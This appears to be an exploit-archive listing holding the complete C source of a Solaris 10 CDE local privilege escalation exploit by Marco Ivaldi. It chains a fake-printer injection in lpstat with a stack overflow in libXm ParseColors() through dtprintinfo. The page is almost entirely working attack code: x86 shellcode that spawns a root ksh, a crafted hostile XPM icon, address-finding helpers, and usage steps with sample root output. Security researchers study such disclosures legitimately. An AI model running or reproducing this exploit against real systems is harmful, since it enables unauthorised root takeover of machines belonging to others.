Headline
Solaris 10 dtprintinfo Local Privilege Escalation
Solaris 10 CDE local privilege escalation exploit that achieves root by injecting a fake printer via lpstat and uses a buffer overflow in libXM ParseColors().
/* * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE * Copyright (c) 2023 Marco Ivaldi <[email protected]> * * "What has been will be again, * what has been done will be done again; * there is nothing new under the Sun." * -- Ecclesiastes 1:9 * * #Solaris #CDE #0day #ForeverDay #WontFix * * This exploit illustrates yet another way to abuse the infamous dtprintinfo * binary distributed with the Common Desktop Environment (CDE), a veritable * treasure trove for bug hunters since the 1990s. It's not the most reliable * exploit I've ever written, but I'm quite proud of the new vulnerabilities * I've unearthed in dtprintinfo with the latest Solaris patches (CPU January * 2021) applied. The exploit chain is structured as follows: * 1. Inject a fake printer via the printer injection bug I found in lpstat. * 2. Exploit the stack-based buffer overflow I found in libXm ParseColors(). * 3. Enjoy root privileges! * * For additional details on my bug hunting journey and on the vulnerabilities * themselves, you can refer to the official advisory: * https://github.com/0xdea/advisories/blob/master/HNS-2022-01-dtprintinfo.txt * * Usage: * $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall * $ ./raptor_dtprintlibXmas 10.0.0.109:0 * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE * Copyright (c) 2023 Marco Ivaldi <[email protected]> * * Using SI_PLATFORM : i86pc (5.10) * Using stack base : 0x8047fff * Using safe address : 0x8045790 * Using rwx_mem address : 0xfeffa004 * Using sc address : 0x8047fb4 * Using sprintf() address : 0xfefd1250 * Path of target binary : /usr/dt/bin/dtprintinfo * * On your X11 server: * 1. Select the "fnord" printer, then click on "Selected" > "Properties". * 2. Click on "Find Set" and choose "/tmp/.dt/icons" from the drop-down menu. * * Back to your original shell: * # id * uid=0(root) gid=1(other) * * IMPORTANT NOTE. * The buffer overflow corrupts some critical variables in memory, which we * need to fix. In order to do so, we must patch the hostile buffer at some * fixed locations with the first argument of the last call to ParseColors(). * The easiest way to get such a safe address is via the special 0x41414141 * command-line argument and truss, as follows: * $ truss -fae -u libXm:: ./raptor_dtprintlibXmas 10.0.0.109:0 0x41414141 2>OUT * $ grep ParseColors OUT | tail -1 * 29181/1@1: -> libXm:ParseColors(0x8045770, 0x3, 0x1, 0x8045724) * ^^^^^^^^^ << this is the safe address we need * * Tested on: * SunOS 5.10 Generic_153154-01 i86pc i386 i86pc (CPU January 2021) * [previous Solaris versions are also likely vulnerable] */#include <fcntl.h>#include <link.h>#include <procfs.h>#include <stdio.h>#include <stdlib.h>#include <strings.h>#include <unistd.h>#include <sys/stat.h>#include <sys/systeminfo.h>#define INFO1 "raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE"#define INFO2 "Copyright (c) 2023 Marco Ivaldi <[email protected]>"#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program#define DEBUG "/tmp/XXXXXXXXXXXXXXXXXX" // target for debugging#define BUFSIZE 1106 // size of hostile buffer#define PADDING 1 // hostile buffer padding#define SAFE 0x08045770 // 1st arg to ParseColors()char sc[] = /* Solaris/x86 shellcode (8 + 8 + 8 + 27 = 51 bytes) *//* triple setuid() */"\x31\xc0\x50\x50\xb0\x17\xcd\x91""\x31\xc0\x50\x50\xb0\x17\xcd\x91""\x31\xc0\x50\x50\xb0\x17\xcd\x91"/* execve() */"\x31\xc0\x50\x68/ksh\x68/bin""\x89\xe3\x50\x53\x89\xe2\x50""\x52\x53\xb0\x3b\x50\xcd\x91";/* globals */char *arg[2] = {"foo", NULL};char *env[256];int env_pos = 0, env_len = 0;/* prototypes */int add_env(char *string);void check_bad(int addr, char *name);int get_env_addr(char *path, char **argv);int search_ldso(char *sym);int search_rwx_mem(void);void set_val(char *buf, int pos, int val);/* * main() */int main(int argc, char **argv){ char buf[BUFSIZE], cmd[1024], *vuln = VULN; char platform[256], release[256], display[256]; int i, sc_addr, safe_addr = SAFE; FILE *fp; int sb = ((int)argv[0] | 0xfff); // stack base int ret = search_ldso("sprintf"); // sprintf() in ld.so.1 int rwx_mem = search_rwx_mem(); // rwx memory /* helper that prints argv[0] address, used by get_env_addr() */ if (!strcmp(argv[0], arg[0])) { printf("0x%p\n", argv[0]); exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* process command line */ if ((argc < 2) || (argc > 3)) { fprintf(stderr, "usage: %s xserver:display [safe_addr]\n\n", argv[0]); exit(1); } snprintf(display, sizeof(display), "DISPLAY=%s", argv[1]); if (argc > 2) { safe_addr = (int)strtoul(argv[2], (char **)NULL, 0); } /* enter debug mode */ if (safe_addr == 0x41414141) { unlink(DEBUG); snprintf(cmd, sizeof(cmd), "cp %s %s", VULN, DEBUG); if (system(cmd) == -1) { perror("error creating debug binary"); exit(1); } vuln = DEBUG; } /* fill envp while keeping padding */ add_env("LPDEST=fnord"); // injected printer add_env("HOME=/tmp"); // home directory add_env("PATH=/usr/bin:/bin"); // path sc_addr = add_env(display); // x11 display add_env(sc); // shellcode add_env(NULL); /* calculate shellcode address */ sc_addr += get_env_addr(vuln, argv); /* inject a fake printer */ unlink("/tmp/.printers"); unlink("/tmp/.printers.new"); if (!(fp = fopen("/tmp/.printers", "w"))) { perror("error injecting a fake printer"); exit(1); } fprintf(fp, "fnord :\n"); fclose(fp); link("/tmp/.printers", "/tmp/.printers.new"); /* craft the hostile buffer */ bzero(buf, sizeof(buf)); for (i = PADDING; i < BUFSIZE - 16; i += 4) { set_val(buf, i, ret); // sprintf() set_val(buf, i += 4, rwx_mem); // saved eip set_val(buf, i += 4, rwx_mem); // 1st arg set_val(buf, i += 4, sc_addr); // 2nd arg } memcpy(buf, "\"c c ", 5); // beginning of hostile buffer buf[912] = ' '; // string separator set_val(buf, 1037, safe_addr); // safe address set_val(buf, 1065, safe_addr); // safe address set_val(buf, 1073, 0xffffffff); // -1 /* create the hostile XPM icon files */ system("rm -fr /tmp/.dt"); mkdir("/tmp/.dt", 0755); mkdir("/tmp/.dt/icons", 0755); if (!(fp = fopen("/tmp/.dt/icons/fnord.m.pm", "w"))) { perror("error creating XPM icon files"); exit(1); } fprintf(fp, "/* XPM */\nstatic char *xpm[] = {\n\"8 8 3 1\",\n%s", buf); fclose(fp); link("/tmp/.dt/icons/fnord.m.pm", "/tmp/.dt/icons/fnord.l.pm"); link("/tmp/.dt/icons/fnord.m.pm", "/tmp/.dt/icons/fnord.t.pm"); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using safe address\t: 0x%p\n", (void *)safe_addr); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using sprintf() address\t: 0x%p\n", (void *)ret); fprintf(stderr, "Path of target binary\t: %s\n\n", vuln); /* check for badchars */ check_bad(safe_addr, "safe address"); check_bad(rwx_mem, "rwx_mem address"); check_bad(sc_addr, "sc address"); check_bad(ret, "sprintf() address"); /* run the vulnerable program */ execve(vuln, arg, env); perror("execve"); exit(0);}/* * add_env(): add a variable to envp and pad if needed */int add_env(char *string){ int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len;}/* * check_bad(): check an address for the presence of badchars */void check_bad(int addr, char *name){ int i, bad[] = {0x00, 0x09, 0x20}; // NUL, HT, SP for (i = 0; i < sizeof(bad) / sizeof(int); i++) { if (((addr & 0xff) == bad[i]) || ((addr & 0xff00) == bad[i]) || ((addr & 0xff0000) == bad[i]) || ((addr & 0xff000000) == bad[i])) { fprintf(stderr, "error: %s contains a badchar\n", name); exit(1); } }}/* * get_env_addr(): get environment address using a helper program */int get_env_addr(char *path, char **argv){ char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char hex[11]; int fd[2], addr; /* truncate program name at correct length and create a hard link */ prog[strlen(path)] = '\0'; unlink(prog); link(argv[0], prog); /* open pipe to read program output */ if (pipe(fd) == -1) { perror("pipe"); exit(1); } switch(fork()) { case -1: /* cannot fork */ perror("fork"); exit(1); case 0: /* child */ dup2(fd[1], 1); close(fd[0]); close(fd[1]); execve(prog, arg, env); perror("execve"); exit(1); default: /* parent */ close(fd[1]); read(fd[0], hex, sizeof(hex)); break; } /* check address */ if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { fprintf(stderr, "error: cannot read address from helper\n"); exit(1); } return addr + strlen(arg[0]) + 1;}/* * search_ldso(): search for a symbol inside ld.so.1 */int search_ldso(char *sym){ int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); return addr;}/* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */int search_rwx_mem(void){ int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address NUL bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return addr_old;}/* * set_val(): copy a dword inside a buffer (little endian) */void set_val(char *buf, int pos, int val){ buf[pos] = (val & 0x000000ff); buf[pos + 1] = (val & 0x0000ff00) >> 8; buf[pos + 2] = (val & 0x00ff0000) >> 16; buf[pos + 3] = (val & 0xff000000) >> 24;}